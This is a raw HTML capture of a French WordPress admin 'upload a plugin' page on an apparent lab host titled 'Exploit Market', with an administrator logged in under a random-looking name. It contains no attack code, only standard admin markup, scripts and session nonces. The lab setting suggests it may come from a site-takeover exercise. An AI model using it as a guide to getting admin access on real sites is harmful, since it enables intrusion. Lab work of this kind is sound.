<a href='edit-comments.php' class="wp-not-current-submenu menu-top menu-icon-comments" ><div class='wp-menu-image dashicons-before dashicons-admin-comments' aria-hidden='true'><br /></div><div class='wp-menu-name'>Commentaires <span class="awaiting-mod count-0"><span class="pending-count" aria-hidden="true">0</span><span class="comments-in-moderation-text screen-reader-text">0 commentaire en modération</span></span></div></a></li>
<li class="wp-has-submenu wp-not-current-submenu menu-top toplevel_page_suretriggers menu-top-last" id="toplevel_page_suretriggers"><a href='admin.php?page=suretriggers' class="wp-has-submenu wp-not-current-submenu menu-top toplevel_page_suretriggers menu-top-last" data-ariahaspopup><div class='wp-menu-image svg' style="background-image:url('data:image/svg+xml;base64,PHN2ZyB3aWR0aD0iMzYiIGhlaWdodD0iMzYiIHZpZXdCb3g9IjAgMCAzNiAzNiIgZmlsbD0ibm9uZSIgeG1sbnM9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnIj4KPHBhdGggZmlsbC1ydWxlPSJldmVub2RkIiBjbGlwLXJ1bGU9ImV2ZW5vZGQiIGQ9Ik0xNy41MTkgMzUuNUMyNy4xOTQ0IDM1LjUgMzUuMDM3OSAyNy42NjUgMzUuMDM3OSAxOEMzNS4wMzc5IDguMzM1MDIgMjcuMTk0NCAwLjUgMTcuNTE5IDAuNUM3Ljg0MzUxIDAuNSAwIDguMzM1MDIgMCAxOEMwIDI3LjY2NSA3Ljg0MzUxIDM1LjUgMTcuNTE5IDM1LjVaTTE3LjU5NDQgOS4yNUMxNi4xODc3IDkuMjUgMTQuMjQxIDEwLjA1MzYgMTMuMjQ2MyAxMS4wNDQ5TDEwLjU0NDggMTMuNzM3MkgyNC4wMTA0TDI4LjUxMjkgOS4yNUgxNy41OTQ0Wk0yMS43Njg5IDI0Ljk1NTFDMjAuNzc0MiAyNS45NDY0IDE4LjgyNzUgMjYuNzUgMTcuNDIwOCAyNi43NUg2LjUwMjI4TDExLjAwNDggMjIuMjYyOEgyNC40NzA0TDIxLjc2ODkgMjQuOTU1MVpNMjYuMTQ1MyAxNS45ODA4SDguMjk4MzdMNy40NTUzNSAxNi44MjIxQzUuNDU5MiAxOC42MTcgNi4wNTEyMyAyMC4wMTkyIDguODQ2NzUgMjAuMDE5MkgyNi43NDJMMjcuNTg1MyAxOS4xNzc5QzI5LjU2MiAxNy4zOTM2IDI4Ljk0MDggMTUuOTgwOCAyNi4xNDUzIDE1Ljk4MDhaIiBmaWxsPSIjMkQ2NEZCIi8+Cjwvc3ZnPgo=')" aria-hidden='true'><br /></div><div class='wp-menu-name'>SureTriggers</div></a>
<ul class='wp-submenu wp-submenu-wrap'><li class='wp-submenu-head' aria-hidden='true'>SureTriggers</li><li class="wp-first-item"><a href='admin.php?page=suretriggers' class="wp-first-item">SureTriggers</a></li><li><a href='admin.php?page=suretriggers-status'>Status</a></li></ul></li>
<li class="wp-not-current-submenu wp-menu-separator" aria-hidden="true"><div class="separator"></div></li>
<li class="wp-has-submenu wp-not-current-submenu menu-top menu-icon-appearance menu-top-first" id="menu-appearance">
<a href='themes.php' class="wp-has-submenu wp-not-current-submenu menu-top menu-icon-appearance menu-top-first" data-ariahaspopup><div class='wp-menu-image dashicons-before dashicons-admin-appearance' aria-hidden='true'><br /></div><div class='wp-menu-name'>Apparence</div></a>
<ul class='wp-submenu wp-submenu-wrap'><li class='wp-submenu-head' aria-hidden='true'>Apparence</li><li class="wp-first-item"><a href='themes.php' class="wp-first-item">Thèmes <span class="update-plugins count-0"><span class="theme-count">0</span></span></a></li><li><a href='site-editor.php'>Éditeur</a></li></ul></li>
<li class="wp-has-submenu wp-has-current-submenu wp-menu-open menu-top menu-icon-plugins" id="menu-plugins">
<a href='plugins.php' class="wp-has-submenu wp-has-current-submenu wp-menu-open menu-top menu-icon-plugins" ><div class='wp-menu-image dashicons-before dashicons-admin-plugins' aria-hidden='true'><br /></div><div class='wp-menu-name'>Extensions <span class="update-plugins count-0"><span class="plugin-count">0</span></span></div></a>
<ul class='wp-submenu wp-submenu-wrap'><li class='wp-submenu-head' aria-hidden='true'>Extensions <span class="update-plugins count-0"><span class="plugin-count">0</span></span></li><li class="wp-first-item"><a href='plugins.php' class="wp-first-item">Extensions installées</a></li><li class="current"><a href='plugin-install.php' class="current" aria-current="page">Ajouter une extension</a></li></ul></li>
<li class="wp-has-submenu wp-not-current-submenu menu-top menu-icon-users" id="menu-users">
<a href='users.php' class="wp-has-submenu wp-not-current-submenu menu-top menu-icon-users" data-ariahaspopup><div class='wp-menu-image dashicons-before dashicons-admin-users' aria-hidden='true'><br /></div><div class='wp-menu-name'>Comptes</div></a>
<ul class='wp-submenu wp-submenu-wrap'><li class='wp-submenu-head' aria-hidden='true'>Comptes</li><li class="wp-first-item"><a href='users.php' class="wp-first-item">Tous les comptes</a></li><li><a href='user-new.php'>Ajouter un compte</a></li><li><a href='profile.php'>Profil</a></li></ul></li>
<li class="wp-has-submenu wp-not-current-submenu menu-top menu-icon-tools" id="menu-tools">
<a href='tools.php' class="wp-has-submenu wp-not-current-submenu menu-top menu-icon-tools" data-ariahaspopup><div class='wp-menu-image dashicons-before dashicons-admin-tools' aria-hidden='true'><br /></div><div class='wp-menu-name'>Outils</div></a>
<ul class='wp-submenu wp-submenu-wrap'><li class='wp-submenu-head' aria-hidden='true'>Outils</li><li class="wp-first-item"><a href='tools.php' class="wp-first-item">Outils disponibles</a></li><li><a href='import.php'>Importer</a></li><li><a href='export.php'>Exporter</a></li><li><a href='site-health.php'>Santé du site <span class="menu-counter site-health-counter count-0"><span class="count">0</span></span></a></li><li><a href='export-personal-data.php'>Exporter les données</a></li><li><a href='erase-personal-data.php'>Effacer les données</a></li><li><a href='theme-editor.php'>Éditeur de fichiers des thèmes</a></li><li><a href='plugin-editor.php'>Éditeur de fichiers des extensions</a></li></ul></li>
<li class="wp-has-submenu wp-not-current-submenu menu-top menu-icon-settings menu-top-last" id="menu-settings">
<a href='options-general.php' class="wp-has-submenu wp-not-current-submenu menu-top menu-icon-settings menu-top-last" data-ariahaspopup><div class='wp-menu-image dashicons-before dashicons-admin-settings' aria-hidden='true'><br /></div><div class='wp-menu-name'>Réglages</div></a>
<ul class='wp-submenu wp-submenu-wrap'><li class='wp-submenu-head' aria-hidden='true'>Réglages</li><li class="wp-first-item"><a href='options-general.php' class="wp-first-item">Général</a></li><li><a href='options-writing.php'>Écriture</a></li><li><a href='options-reading.php'>Lecture</a></li><li><a href='options-discussion.php'>Commentaires</a></li><li><a href='options-media.php'>Médias</a></li><li><a href='options-permalink.php'>Permaliens</a></li><li><a href='options-privacy.php'>Confidentialité</a></li></ul></li><li id="collapse-menu" class="hide-if-no-js"><button type="button" id="collapse-button" aria-label="Replier le menu principal" aria-expanded="true"><span class="collapse-button-icon" aria-hidden="true"></span><span class="collapse-button-label">Replier le menu</span></button></li></ul>
</div>
</div>
<div id="wpcontent">
<div id="wpadminbar" class="nojq nojs">
<div class="quicklinks" id="wp-toolbar" role="navigation" aria-label="Barre d’outils">
<ul role='menu' id='wp-admin-bar-root-default' class="ab-top-menu"><li role='group' id='wp-admin-bar-menu-toggle'><a class='ab-item' role="menuitem" href='#'><span class="ab-icon" aria-hidden="true"></span><span class="screen-reader-text">Menu</span></a></li><li role='group' id='wp-admin-bar-wp-logo' class="menupop"><a class='ab-item' role="menuitem" aria-expanded="false" href='http://lab:5555/wp-admin/about.php'><span class="ab-icon" aria-hidden="true"></span><span class="screen-reader-text">À propos de WordPress</span></a><div class="ab-sub-wrapper"><ul role='menu' aria-label='À propos de WordPress' id='wp-admin-bar-wp-logo-default' class="ab-submenu"><li role='group' id='wp-admin-bar-about'><a class='ab-item' role="menuitem" href='http://lab:5555/wp-admin/about.php'>À propos de WordPress</a></li><li role='group' id='wp-admin-bar-contribute'><a class='ab-item' role="menuitem" href='http://lab:5555/wp-admin/contribute.php'>Contribuer</a></li></ul><ul role='menu' aria-label='À propos de WordPress' id='wp-admin-bar-wp-logo-external' class="ab-sub-secondary ab-submenu"><li role='group' id='wp-admin-bar-wporg'><a class='ab-item' role="menuitem" href='https://fr.wordpress.org/'>Site de WordPress-FR</a></li><li role='group' id='wp-admin-bar-documentation'><a class='ab-item' role="menuitem" href='https://fr.wordpress.org/support/'>Documentation</a></li><li role='group' id='wp-admin-bar-learn'><a class='ab-item' role="menuitem" href='https://learn.wordpress.org/'>Apprendre WordPress</a></li><li role='group' id='wp-admin-bar-support-forums'><a class='ab-item' role="menuitem" href='https://wpfr.net/support'>Forums de support</a></li><li role='group' id='wp-admin-bar-feedback'><a class='ab-item' role="menuitem" href='https://wordpress.org/support/forum/requests-and-feedback'>Vos retours</a></li></ul></div></li><li role='group' id='wp-admin-bar-site-name' class="menupop"><a class='ab-item' role="menuitem" aria-expanded="false" href='http://lab:5555/'>Exploit Market</a><div class="ab-sub-wrapper"><ul role='menu' aria-label='Exploit Market' id='wp-admin-bar-site-name-default' class="ab-submenu"><li role='group' id='wp-admin-bar-view-site'><a class='ab-item' role="menuitem" href='http://lab:5555/'>Aller sur le site</a></li></ul></div></li><li role='group' id='wp-admin-bar-updates'><a class='ab-item' role="menuitem" href='http://lab:5555/wp-admin/update-core.php'><span class="ab-icon" aria-hidden="true"></span><span class="ab-label" aria-hidden="true">2</span><span class="screen-reader-text updates-available-text">2 mises à jour disponibles</span></a></li><li role='group' id='wp-admin-bar-comments'><a class='ab-item' role="menuitem" href='http://lab:5555/wp-admin/edit-comments.php'><span class="ab-icon" aria-hidden="true"></span><span class="ab-label awaiting-mod pending-count count-0" aria-hidden="true">0</span><span class="screen-reader-text comments-in-moderation-text">0 commentaire en modération</span></a></li><li role='group' id='wp-admin-bar-new-content' class="menupop"><a class='ab-item' role="menuitem" aria-expanded="false" href='http://lab:5555/wp-admin/post-new.php'><span class="ab-icon" aria-hidden="true"></span><span class="ab-label">Créer</span></a><div class="ab-sub-wrapper"><ul role='menu' aria-label='Créer' id='wp-admin-bar-new-content-default' class="ab-submenu"><li role='group' id='wp-admin-bar-new-post'><a class='ab-item' role="menuitem" href='http://lab:5555/wp-admin/post-new.php'>Article</a></li><li role='group' id='wp-admin-bar-new-media'><a class='ab-item' role="menuitem" href='http://lab:5555/wp-admin/media-new.php'>Fichier média</a></li><li role='group' id='wp-admin-bar-new-page'><a class='ab-item' role="menuitem" href='http://lab:5555/wp-admin/post-new.php?post_type=page'>Page</a></li><li role='group' id='wp-admin-bar-new-user'><a class='ab-item' role="menuitem" href='http://lab:5555/wp-admin/user-new.php'>Compte</a></li></ul></div></li></ul><ul role='menu' id='wp-admin-bar-top-secondary' class="ab-top-secondary ab-top-menu"><li role='group' id='wp-admin-bar-my-account' class="menupop with-avatar"><a class='ab-item' role="menuitem" aria-expanded="false" href='http://lab:5555/wp-admin/profile.php'>Bonjour, <span class="display-name">nzeoinronfernfreoif</span><img alt='' src='https://secure.gravatar.com/avatar/b317f0da6d4a00b9337e9df09236e2eacba17ee4d9614fa872e56ba2bfb34d11?s=26&d=mm&r=g' srcset='https://secure.gravatar.com/avatar/b317f0da6d4a00b9337e9df09236e2eacba17ee4d9614fa872e56ba2bfb34d11?s=52&d=mm&r=g 2x' class='avatar avatar-26 photo' height='26' width='26' loading='lazy' decoding='async'/></a><div class="ab-sub-wrapper"><ul role='menu' aria-label='Bonjour, nzeoinronfernfreoif' id='wp-admin-bar-user-actions' class="ab-submenu"><li role='group' id='wp-admin-bar-user-info'><a class='ab-item' role="menuitem" href='http://lab:5555/wp-admin/profile.php'><img alt='' src='https://secure.gravatar.com/avatar/b317f0da6d4a00b9337e9df09236e2eacba17ee4d9614fa872e56ba2bfb34d11?s=64&d=mm&r=g' srcset='https://secure.gravatar.com/avatar/b317f0da6d4a00b9337e9df09236e2eacba17ee4d9614fa872e56ba2bfb34d11?s=128&d=mm&r=g 2x' class='avatar avatar-64 photo' height='64' width='64' loading='lazy' decoding='async'/><span class='display-name'>nzeoinronfernfreoif</span><span class='display-name edit-profile'>Modifier le profil</span></a></li><li role='group' id='wp-admin-bar-logout'><a class='ab-item' role="menuitem" href='http://lab:5555/wp-login.php?action=logout&_wpnonce=ee4a3ed072'>Se déconnecter</a></li></ul></div></li></ul> </div>
</div>
<div id="wpbody" role="main">
<div id="wpbody-content">
<div id="screen-meta" class="metabox-prefs">
<div id="contextual-help-wrap" class="hidden" tabindex="-1" aria-label="Onglet d’aide contextuelle">
<div id="contextual-help-back"></div>
<div id="contextual-help-columns">
<div class="contextual-help-tabs">
<ul>
<li id="tab-link-overview" class="active">
<a href="#tab-panel-overview" aria-controls="tab-panel-overview">
Vue d'ensemble </a>
</li>
<li id="tab-link-adding-plugins">
<a href="#tab-panel-adding-plugins" aria-controls="tab-panel-adding-plugins">
Ajout d’extensions </a>
</li>
</ul>
</div>
<div class="contextual-help-sidebar">
<p><strong>Plus d’informations :</strong></p><p><a href="https://fr.wordpress.org/support/article/plugins-add-new-screen/">Documentation sur l’installation d’extensions</a></p><p><a href="https://fr.wordpress.org/support/forums/">forums de support</a></p> </div>
<div class="contextual-help-tabs-wrap">
<div id="tab-panel-overview" class="help-tab-content active">
<p>Les extensions étendent les fonctionnalités de WordPress avec des fonctions personnalisées. Les extensions sont développées indépendamment du cœur de WordPress par des milliers de développeurs partout dans le monde. Toutes les extensions dans le <a href="https://fr.wordpress.org/plugins/">répertoire WordPress</a> sont compatibles avec la licence d’utilisation de WordPress.</p><p>Vous pouvez trouver des nouvelles extensions à installer en recherchant ou en parcourant le répertoire ici même dans votre section des extensions. <span id="live-search-desc" class="hide-if-no-js">Les résultats de la recherche seront mis à jour au fur et à mesure de votre saisie.</span></p> </div>
<div id="tab-panel-adding-plugins" class="help-tab-content">
<p>Si vous savez ce que vous voulez, commencez par le champ « Recherche » : il vous permet de lancer une recherche sur le dépôt d’extensions de WordPress.org, pour un terme, un auteur/autrice, ou une étiquette en particulier. Vous pouvez également lancer une recherche en cliquant sur une des étiquettes populaires. Plus une étiquette est grande, plus elle fait référence à un grand nombre d’extensions.</p><p>Si vous voulez juste vous faire une idée de ce qui est disponible, vous pouvez parcourir les rubriques Mises en avant et Populaires en utilisant les liens en haut à gauche de l’écran. Ces sections sont régulièrement renouvelées.</p><p>Vous pouvez voir les extensions favorites d’un compte WordPress.org en utilisant le lien « Favorites » situé en haut à gauche de l’écran, et en renseignant son identifiant WordPress.org.</p><p>Si vous voulez installer une extension que vous avez téléchargée depuis un site tiers, cliquez sur le bouton « Téléverser une extension ». Il vous sera demandé d’indiquerle fichier .zip à téléverser, et ceci fait, vous pourrez activer l’extension.</p> </div>
</div>
</div>
</div>
</div>
<div id="screen-meta-links">
<div id="contextual-help-link-wrap" class="hide-if-no-js screen-meta-toggle">
<button type="button" id="contextual-help-link" class="button show-settings" aria-controls="contextual-help-wrap" aria-expanded="false">Aide</button>
</div>
</div>
<div class="wrap plugin-install-tab-upload">
<h1 class="wp-heading-inline">
Ajouter des extensions</h1>
<a href="http://lab:5555/wp-admin/plugin-install.php" class="upload-view-toggle page-title-action"><span class="upload">Téléverser une extension</span><span class="browse">Parcourir les extensions</span></a>
<hr class="wp-header-end">
<div class="upload-plugin">
<p class="install-help">Si vous avez une extension au format .zip, vous pouvez l’installer ou la mettre à jour en la téléversant ici.</p>
<form method="post" enctype="multipart/form-data" class="wp-upload-form" action="http://lab:5555/wp-admin/update.php?action=upload-plugin">
<input type="hidden" id="_wpnonce" name="_wpnonce" value="c9bdd41162" /><input type="hidden" name="_wp_http_referer" value="/wp-admin/plugin-install.php?tab=upload" /> <label class="screen-reader-text" for="pluginzip">
Archive Zip de l’extension </label>
<input type="file" id="pluginzip" name="pluginzip" accept=".zip" />
<input type="submit" name="install-plugin-submit" id="install-plugin-submit" class="button" value="Installer maintenant" /> </form>
</div>
<span class="spinner"></span>
</div>
<script id="tmpl-wp-updates-admin-notice" type="text/html">
<div <# if ( data.id ) { #>id="{{ data.id }}"<# } #> class="notice {{ data.className }}"><p>{{{ data.message }}}</p></div>
</script>
<script id="tmpl-wp-bulk-updates-admin-notice" type="text/html">
<div id="{{ data.id }}" class="{{ data.className }} notice <# if ( data.errorMessage ) { #>notice-error<# } else { #>notice-success<# } #>">
<p>
<# if ( data.successMessage ) { #>
{{{ data.successMessage }}}
<# } #>
<# if ( data.errorMessage ) { #>
<button class="button-link bulk-action-errors-collapsed" aria-expanded="false">
{{{ data.errorMessage }}}
<span class="screen-reader-text">
Afficher plus de détails </span>
<span class="toggle-indicator" aria-hidden="true"></span>
</button>
<# } #>
</p>
<# if ( data.errorMessages ) { #>
<ul class="bulk-action-errors hidden">
<# _.each( data.errorMessages, function( errorMessage ) { #>
<li>{{ errorMessage }}</li>
<# } ); #>
</ul>
<# } #>
</div>
</script>
<div class="clear"></div></div><!-- wpbody-content -->
<div class="clear"></div></div><!-- wpbody -->
<div class="clear"></div></div><!-- wpcontent -->
<div id="wpfooter" role="contentinfo">
<p id="footer-left" class="alignleft">
<span id="footer-thankyou">Merci de faire de <a href="https://fr.wordpress.org/">WordPress</a> votre outil de création de contenu.</span> </p>
<p id="footer-upgrade" class="alignright">
Version 6.8.1 </p>
<div class="clear"></div>
</div>
<div id="wp-auth-check-wrap" class="hidden">
<div id="wp-auth-check-bg"></div>
<div id="wp-auth-check">
<button type="button" class="wp-auth-check-close button-link"><span class="screen-reader-text">
Fermez la boite de dialogue </span></button>
<div id="wp-auth-check-form" class="loading" data-src="http://lab:5555/wp-login.php?interim-login=1&wp_lang=fr_FR"></div>
<div class="wp-auth-fallback">
<p><b class="wp-auth-fallback-expired" tabindex="0">La session a expiré</b></p>
<p><a href="http://lab:5555/wp-login.php" target="_blank">Veuillez vous reconnecter.</a>
La page de connexion s’ouvrira dans une nouvelle fenêtre. Après connexion, vous pourrez la fermer et revenir à cette page.</p>
</div>
</div>
</div>
<script src='http://lab:5555/wp-admin/load-scripts.php?c=0&load%5Bchunk_0%5D=hoverIntent,wp-dom-ready,wp-hooks&ver=6.8.1'></script>
<script src="http://lab:5555/wp-includes/js/dist/i18n.min.js?ver=5e580eb46a90c2b997e6" id="wp-i18n-js"></script>
<script id="wp-i18n-js-after">
wp.i18n.setLocaleData( { 'text direction\u0004ltr': [ 'ltr' ] } );
</script>
<script id="wp-a11y-js-translations">
( function( domain, translations ) {
var localeData = translations.locale_data[ domain ] || translations.locale_data.messages;
localeData[""].domain = domain;
wp.i18n.setLocaleData( localeData, domain );
} )( "default", {"translation-revision-date":"2025-05-06 13:34:01+0000","generator":"GlotPress\/4.0.1","domain":"messages","locale_data":{"messages":{"":{"domain":"messages","plural-forms":"nplurals=2; plural=n > 1;","lang":"fr"},"Notifications":["Notifications"]}},"comment":{"reference":"wp-includes\/js\/dist\/a11y.js"}} );
</script>
<script src="http://lab:5555/wp-includes/js/dist/a11y.min.js?ver=3156534cc54473497e14" id="wp-a11y-js"></script>
<script id="common-js-extra">
var bulkActionObserverIds = {"bulk_action":"action","changeit":"new_role"};
</script>
<script id="common-js-translations">
( function( domain, translations ) {
var localeData = translations.locale_data[ domain ] || translations.locale_data.messages;
localeData[""].domain = domain;
wp.i18n.setLocaleData( localeData, domain );
} )( "default", {"translation-revision-date":"2025-04-25 21:01:06+0000","generator":"GlotPress\/4.0.1","domain":"messages","locale_data":{"messages":{"":{"domain":"messages","plural-forms":"nplurals=2; plural=n > 1;","lang":"fr"},"Screen Options updated.":["Mise \u00e0 jour des options d\u2019\u00e9cran."],"%1$s is deprecated since version %2$s with no alternative available.":["%1$s est obsol\u00e8te depuis la version %2$s, aucune alternative n\u2019est disponible."],"%1$s is deprecated since version %2$s! Use %3$s instead.":["%1$s est obsol\u00e8te depuis la version %2$s\u00a0! Utilisez %3$s \u00e0 la place."],"Please select at least one item to perform this action on.":["Veuillez s\u00e9lectionner au moins un \u00e9l\u00e9ment pour effectuer cette action."],"Expand Main menu":["D\u00e9plier le menu principal"],"Dismiss this notice.":["Ignorer cette notification."],"You are about to permanently delete these items from your site.\nThis action cannot be undone.\n'Cancel' to stop, 'OK' to delete.":["Vous \u00eates en train de supprimer d\u00e9finitivement ces \u00e9l\u00e9ments de votre site.\nCette action ne peut pas \u00eatre annul\u00e9e.\n\u00ab\u00a0Annuler\u00a0\u00bb pour arr\u00eater, \u00ab\u00a0OK\u00a0\u00bb pour supprimer."],"Collapse Main menu":["Replier le menu principal"]}},"comment":{"reference":"wp-admin\/js\/common.js"}} );
</script>
<script src="http://lab:5555/wp-admin/js/common.min.js?ver=6.8.1" id="common-js"></script>
<script src="http://lab:5555/wp-includes/js/hoverintent-js.min.js?ver=2.2.1" id="hoverintent-js-js"></script>
<script src="http://lab:5555/wp-includes/js/admin-bar.min.js?ver=6.8.1" id="admin-bar-js"></script>
<script src="http://lab:5555/wp-includes/js/jquery/ui/core.min.js?ver=1.13.3" id="jquery-ui-core-js"></script>
<script id="thickbox-js-extra">
var thickboxL10n = {"next":"Suiv.\u00a0>","prev":"<\u00a0Pr\u00e9c.","image":"Image","of":"sur","close":"Fermer","noiframes":"Cette fonctionnalit\u00e9 requiert des iframes. Les iframes sont d\u00e9sactiv\u00e9es sur votre navigateur, ou alors il ne les accepte pas.","loadingAnimation":"http:\/\/lab:5555\/wp-includes\/js\/thickbox\/loadingAnimation.gif"};
</script>
<script src="http://lab:5555/wp-includes/js/thickbox/thickbox.js?ver=3.1-20121105" id="thickbox-js"></script>
<script id="plugin-install-js-translations">
( function( domain, translations ) {
var localeData = translations.locale_data[ domain ] || translations.locale_data.messages;
localeData[""].domain = domain;
wp.i18n.setLocaleData( localeData, domain );
} )( "default", {"translation-revision-date":"2025-04-25 21:01:06+0000","generator":"GlotPress\/4.0.1","domain":"messages","locale_data":{"messages":{"":{"domain":"messages","plural-forms":"nplurals=2; plural=n > 1;","lang":"fr"},"Plugin details":["D\u00e9tails de l\u2019extension"],"Plugin: %s":["Extension\u00a0: %s"]}},"comment":{"reference":"wp-admin\/js\/plugin-install.js"}} );
</script>
<script src="http://lab:5555/wp-admin/js/plugin-install.min.js?ver=6.8.1" id="plugin-install-js"></script>
<script src="http://lab:5555/wp-includes/js/underscore.min.js?ver=1.13.7" id="underscore-js"></script>
<script id="wp-util-js-extra">
var _wpUtilSettings = {"ajax":{"url":"\/wp-admin\/admin-ajax.php"}};
</script>
<script src="http://lab:5555/wp-includes/js/wp-util.min.js?ver=6.8.1" id="wp-util-js"></script>
<script src="http://lab:5555/wp-includes/js/wp-sanitize.min.js?ver=6.8.1" id="wp-sanitize-js"></script>
<script id="updates-js-extra">
var _wpUpdatesSettings = {"ajax_nonce":"4e1c139c28"};
</script>
<script id="updates-js-translations">
( function( domain, translations ) {
var localeData = translations.locale_data[ domain ] || translations.locale_data.messages;
localeData[""].domain = domain;
wp.i18n.setLocaleData( localeData, domain );
} )( "default", {"translation-revision-date":"2025-04-25 21:01:06+0000","generator":"GlotPress\/4.0.1","domain":"messages","locale_data":{"messages":{"":{"domain":"messages","plural-forms":"nplurals=2; plural=n > 1;","lang":"fr"},"An error occurred during the update process. Please try again.":["Une erreur s\u2019est produite lors de la mise \u00e0 jour. Veuillez r\u00e9essayer."],"Dependencies check failed: %s":["\u00c9chec de la v\u00e9rification des d\u00e9pendances\u00a0: %s"],"plugin\/plugins\u0004%s item":["%s \u00e9l\u00e9ment","%s \u00e9l\u00e9ments"],"plugin\u0004%s activation failed":["Activation \u00e9chou\u00e9e\u00a0: %s"],"Activation failed.":["Activation \u00e9chou\u00e9e."],"Activation completed successfully.":["Activation effectu\u00e9e avec succ\u00e8s."],"plugin\u0004Activated!":["Activ\u00e9\u00a0!"],"plugin\u0004Activating %s":["Activation de %s"],"Activating...":["Activation\u2026"],"Activating... please wait.":["Activation\u2026 veuillez patienter."],"Activation failed: %s":["Activation \u00e9chou\u00e9e\u00a0: %s"],"plugin\u0004Cannot activate %1$s. %2$s":["Activation de %1$s impossible. %2$s"],"Plugin dependencies check completed successfully.":["La v\u00e9rification des d\u00e9pendances de l\u2018extension a bien \u00e9t\u00e9 effectu\u00e9e."],"Checking plugin dependencies... please wait.":["V\u00e9rification des d\u00e9pendances de l\u2018extension en cours... Veuillez patienter."],"plugin\u0004Activate":["Activer"],"plugin\u0004Network Activate":["Activer sur le r\u00e9seau"],"plugin\u0004Install Now":["Installer maintenant"],"Search Results":["R\u00e9sultats de recherche"],"Search results for: %s":["R\u00e9sultats de recherche pour\u00a0: %s"],"The request could not be completed.":["La demande n\u2019a pas pu \u00eatre effectu\u00e9e."],"Disabling...":["D\u00e9sactivation\u2026"],"Enabling...":["Activation\u2026"],"Number of plugins found: %d":["Nombre d\u2019extensions trouv\u00e9es\u00a0: %d"],"Caution: These themes may be active on other sites in the network. Are you sure you want to proceed?":["Attention\u00a0: ces th\u00e8mes peuvent \u00eatre actifs sur d\u2019autres sites du r\u00e9seau. Souhaitez-vous poursuivre\u00a0?"],"Are you sure you want to delete the selected plugins and their data?":["Confirmez-vous la suppression des extensions s\u00e9lectionn\u00e9es et de leurs donn\u00e9es\u00a0?"],"Are you sure you want to delete %s and its data?":["Confirmez-vous vouloir supprimer %s et ses donn\u00e9es\u00a0?"],"Update canceled.":["Mise \u00e0 jour annul\u00e9e."],"plugin\u0004Update %s now":["Mettre \u00e0 jour %s maintenant"],"Updates may not complete if you navigate away from this page.":["Les mises \u00e0 jour peuvent ne pas se terminer si vous quittez cette page."],"Connection lost or the server is busy. Please try again later.":["Connexion perdue ou serveur occup\u00e9. Veuillez r\u00e9essayer ult\u00e9rieurement."],"Deletion failed: %s":["\u00c9chec de la suppression\u00a0: %s"],"theme\u0004Deleted!":["Supprim\u00e9\u00a0!"],"theme\u0004%s installation failed":["L\u2019installation de %s a \u00e9chou\u00e9"],"theme\u0004Network Activate %s":["Activation r\u00e9seau de %s"],"theme\u0004%s installed!":["%s a \u00e9t\u00e9 install\u00e9\u00a0!"],"theme\u0004Installing %s...":["Installation de %s\u2026"],"theme\u0004Updated!":["Mis \u00e0 jour\u00a0!"],"Updating... please wait.":["Mise \u00e0 jour\u2026 veuillez patienter."],"plugin\u0004Deleted!":["Supprim\u00e9\u00a0!"],"Deleting...":["Suppression\u2026"],"plugin\u0004Install %s now":["Installer %s maintenant"],"Importer installed successfully. <a href=\"%s\">Run importer<\/a>":["L\u2019outil d\u2019importation a bien \u00e9t\u00e9 install\u00e9. <a href=\"%s\">Lancer l\u2019outil d\u2019importation<\/a>"],"plugin\u0004%s installation failed":["L\u2019installation de %s a \u00e9chou\u00e9"],"Installation failed: %s":["Installation \u00e9chou\u00e9e\u00a0: %s"],"Installation completed successfully.":["L\u2019installation a bien \u00e9t\u00e9 termin\u00e9e."],"plugin\u0004Installed!":["Install\u00e9e\u00a0!"],"plugin\u0004%s installed!":["%s install\u00e9e\u00a0!"],"Installing... please wait.":["Installation\u2026 veuillez patienter."],"plugin\u0004Installing %s...":["Installation de %s\u2026"],"Installing...":["Installation\u2026"],"plugin\u0004%s update failed.":["La mise \u00e0 jour de %s a \u00e9chou\u00e9."],"Update failed: %s":["La mise \u00e0 jour a \u00e9chou\u00e9\u00a0: %s"],"Update completed successfully.":["Mise \u00e0 jour r\u00e9ussie."],"plugin\u0004Updated!":["Mis \u00e0 jour\u00a0!"],"plugin\u0004%s updated!":["%s est \u00e0 jour\u00a0!"],"Updating...":["Mise \u00e0 jour\u2026"],"plugin\u0004Updating %s...":["Mise \u00e0 jour de %s\u2026"],"No plugins found. Try a different search.":["Aucune extension trouv\u00e9e. Essayez une recherche diff\u00e9rente."],"Enable auto-updates":["Activer les mises \u00e0 jour auto"],"Disable auto-updates":["D\u00e9sactiver les mises \u00e0 jour auto"],"No plugins are currently available.":["Aucune extension n\u2019est disponible pour l\u2019instant."],"Auto-updates disabled":["Mises \u00e0 jour auto d\u00e9sactiv\u00e9es"],"Auto-updates enabled":["Mises \u00e0 jour auto activ\u00e9es"],"theme\u0004Activate":["Activer"],"plugin\u0004Network Activate %s":["Activer %s sur le r\u00e9seau"],"plugin\u0004Activate %s":["Activer %s"],"Run Importer":["Lancer l\u2019outil d\u2019importation"],"Run %s":["Lancer %s"],"%s update failed.":["%s mise \u00e0 jour a \u00e9chou\u00e9."],"%s theme successfully updated.":["%s th\u00e8me mis \u00e0 jour."],"%s plugin successfully updated.":["%s extension mise \u00e0 jour."],"plugin\u0004Active":["Actif"],"Update failed.":["\u00c9chec de mise \u00e0 jour."],"theme\u0004Installed!":["Install\u00e9\u00a0!"],"Are you sure you want to delete %s?":["Confirmez-vous la suppression de %s\u00a0?"],"Network Enable":["Activer sur le r\u00e9seau"],"Update Now":["Mettre \u00e0 jour"],"Installation failed.":["\u00c9chec de l\u2019installation"],"You do not appear to have any plugins available at this time.":["Vous ne semblez pas avoir d’extension disponible en ce moment."],"%s update available":["%s mise \u00e0 jour disponible","%s mises \u00e0 jour disponibles"],"theme\u0004Activate %s":["Activation de %s"],"Live Preview":["Pr\u00e9visualiser en direct"],"An error has occurred. Please reload the page and try again.":["Une erreur s\u2019est produite. Veuillez recharger la page et r\u00e9essayer."]}},"comment":{"reference":"wp-admin\/js\/updates.js"}} );
</script>
<script src="http://lab:5555/wp-admin/js/updates.min.js?ver=6.8.1" id="updates-js"></script>
<script src="http://lab:5555/wp-admin/js/svg-painter.js?ver=6.8.1" id="svg-painter-js"></script>
<script id="heartbeat-js-extra">
var heartbeatSettings = {"nonce":"57a87c557c"};
</script>
<script src="http://lab:5555/wp-includes/js/heartbeat.min.js?ver=6.8.1" id="heartbeat-js"></script>
<script id="wp-auth-check-js-translations">
( function( domain, translations ) {
var localeData = translations.locale_data[ domain ] || translations.locale_data.messages;
localeData[""].domain = domain;
wp.i18n.setLocaleData( localeData, domain );
